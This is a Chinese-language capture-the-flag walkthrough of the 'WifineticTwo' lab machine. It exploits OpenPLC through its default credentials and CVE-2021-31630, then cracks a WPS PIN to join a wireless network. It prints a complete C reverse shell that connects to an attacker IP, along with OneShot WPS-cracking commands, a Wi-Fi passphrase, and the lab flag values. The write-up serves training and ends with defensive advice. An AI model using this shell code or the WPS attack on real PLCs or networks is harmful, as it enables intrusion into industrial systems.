[Meachines][Medium]WifineticTwo
字数 877 2025-08-19 12:42:07

OpenPLC 渗透测试与无线网络接管实战指南

1. 目标识别与初始扫描

使用 Nmap 进行初始扫描:

nmap -p- -sC -sV 10.10.11.7 --min-rate 1000

2. OpenPLC 认证绕过

  1. 使用默认凭证登录 OpenPLC 系统:

    • 用户名:openplc
    • 密码:openplc
  2. 登录后导航至 Programs 页面,该页面存在文件上传功能

3. ST 语言程序分析

ST (Structured Text) 是一种用于 PLC 编程的高级语言,类似 C 和 Pascal。示例程序结构:

PROGRAM job
VAR
    var_in : BOOL;
    var_out : BOOL;
END_VAR
    var_out := var_in;
END_PROGRAM

CONFIGURATION Config0
    RESOURCE Res0 ON PLC
        TASK Main(INTERVAL := T#50ms, PRIORITY := 0);
        PROGRAM start WITH Main : job;
    END_RESOURCE
END_CONFIGURATION

关键组件:

  • PROGRAM 声明是 ST 语言的规范要求
  • CONFIGURATION 定义 PLC 配置
  • RESOURCE 指定资源分配
  • TASK 定义任务周期和优先级

4. 漏洞利用 (CVE-2021-31630)

  1. 上传恶意 ST 文件:

    • 文件内容包含后门代码
    • 通过 Programs 页面上传
  2. 修改 Hardware 配置插入恶意代码:

#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

void initCustomLayer(){}
void updateCustomIn(){}

void updateCustomOut() {
    int port = 10032;
    struct sockaddr_in revsockaddr;
    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.23");
    connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);
    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
}

代码分析:

  • 创建反向 shell 连接到攻击者机器 (10.10.16.23:10032)
  • dup2 调用将标准输入、输出和错误重定向到套接字
  • execve 执行 /bin/sh 提供交互式 shell

5. 权限提升与用户标志获取

  1. 获取用户标志:
cat /root/user.txt
# 输出: fa96bfd0991067bd5612c26372c0e379

6. 无线网络接管

6.1 WPS PIN 码破解

使用 OneShot 工具进行 WPS PIN 码破解:

./oneshot -i wlan0 -b 02:00:00:00:02:00 -K

6.2 无线网络配置

  1. 编辑 WPA 配置:
vim /etc/wpa_supplicant/wpa_supplicant-wlan0.conf

配置文件内容:

ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1
network={
    ssid="plcrouter"
    psk="NoWWEDoKnowWhaTisReal123!"
    key_mgmt=WPA-PSK
    proto=WPA2
    pairwise=CCMP TKIP
    group=CCMP TKIP
    scan_ssid=1
}
  1. 网络接口配置:
vim /etc/systemd/network/25-wlan.network

内容:

[Match]
Name=wlan0
[Network]
DHCP=ipv4
  1. 重启服务:
systemctl enable wpa_supplicant@wlan0.service
systemctl restart systemd-networkd.service
systemctl restart wpa_supplicant@wlan0.service

7. Root 标志获取

成功连接无线网络后获取 root 标志:

82c3c9d3e55882fbbb91e73aea962d67

关键点总结

  1. OpenPLC 默认凭证利用
  2. ST 程序结构理解与恶意文件构造
  3. CVE-2021-31630 漏洞手工利用
  4. PLC 硬件配置注入反向 shell
  5. WPS PIN 码破解技术
  6. Linux 无线网络配置与管理
  7. 系统服务重启与网络连接建立

防御建议

  1. 修改 OpenPLC 默认凭证
  2. 限制文件上传功能
  3. 更新 OpenPLC 到最新版本
  4. 禁用 WPS 功能或使用强 PIN 码
  5. 实施网络隔离,限制 PLC 网络访问权限
OpenPLC 渗透测试与无线网络接管实战指南 1. 目标识别与初始扫描 使用 Nmap 进行初始扫描: 2. OpenPLC 认证绕过 使用默认凭证登录 OpenPLC 系统: 用户名: openplc 密码: openplc 登录后导航至 Programs 页面,该页面存在文件上传功能 3. ST 语言程序分析 ST (Structured Text) 是一种用于 PLC 编程的高级语言,类似 C 和 Pascal。示例程序结构: 关键组件: PROGRAM 声明是 ST 语言的规范要求 CONFIGURATION 定义 PLC 配置 RESOURCE 指定资源分配 TASK 定义任务周期和优先级 4. 漏洞利用 (CVE-2021-31630) 上传恶意 ST 文件: 文件内容包含后门代码 通过 Programs 页面上传 修改 Hardware 配置插入恶意代码: 代码分析: 创建反向 shell 连接到攻击者机器 (10.10.16.23:10032) dup2 调用将标准输入、输出和错误重定向到套接字 execve 执行 /bin/sh 提供交互式 shell 5. 权限提升与用户标志获取 获取用户标志: 6. 无线网络接管 6.1 WPS PIN 码破解 使用 OneShot 工具进行 WPS PIN 码破解: 6.2 无线网络配置 编辑 WPA 配置: 配置文件内容: 网络接口配置: 内容: 重启服务: 7. Root 标志获取 成功连接无线网络后获取 root 标志: 关键点总结 OpenPLC 默认凭证利用 ST 程序结构理解与恶意文件构造 CVE-2021-31630 漏洞手工利用 PLC 硬件配置注入反向 shell WPS PIN 码破解技术 Linux 无线网络配置与管理 系统服务重启与网络连接建立 防御建议 修改 OpenPLC 默认凭证 限制文件上传功能 更新 OpenPLC 到最新版本 禁用 WPS 功能或使用强 PIN 码 实施网络隔离,限制 PLC 网络访问权限